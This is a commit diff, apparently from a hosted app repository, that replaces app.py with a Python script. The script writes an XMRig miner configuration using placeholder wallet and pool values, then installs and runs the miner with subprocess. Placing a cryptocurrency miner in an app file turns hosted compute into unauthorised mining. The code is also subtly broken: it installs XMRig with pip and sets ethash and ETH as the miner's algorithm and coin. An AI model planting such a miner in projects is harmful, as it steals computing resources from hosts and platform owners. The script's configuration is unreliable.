COLTO50 commited on
Commit
474b9ef
·
verified ·
1 Parent(s): 56f1a59

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +29 -1
app.py CHANGED
@@ -1 +1,29 @@
1
- pip install xmrig
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ import subprocess
3
+
4
+ # Set your mining configuration
5
+ wallet_address = "your_wallet_address"
6
+ pool_url = "your_pool_url"
7
+ rig_id = "your_rig_id"
8
+
9
+ # Create a config.json file for XMRig
10
+ config_json = f"""
11
+ {{
12
+ "algo": "ethash",
13
+ "coin": "ETH",
14
+ "pool": "{pool_url}",
15
+ "wallet": "{wallet_address}",
16
+ "rig-id": "{rig_id}",
17
+ "cpu": true,
18
+ "threads": 2
19
+ }}
20
+ """
21
+
22
+ with open("config.json", "w") as f:
23
+ f.write(config_json)
24
+
25
+ # Install XMRig
26
+ subprocess.run(["pip", "install", "xmrig"])
27
+
28
+ # Run XMRig
29
+ subprocess.run(["xmrig", "-c", "config.json"])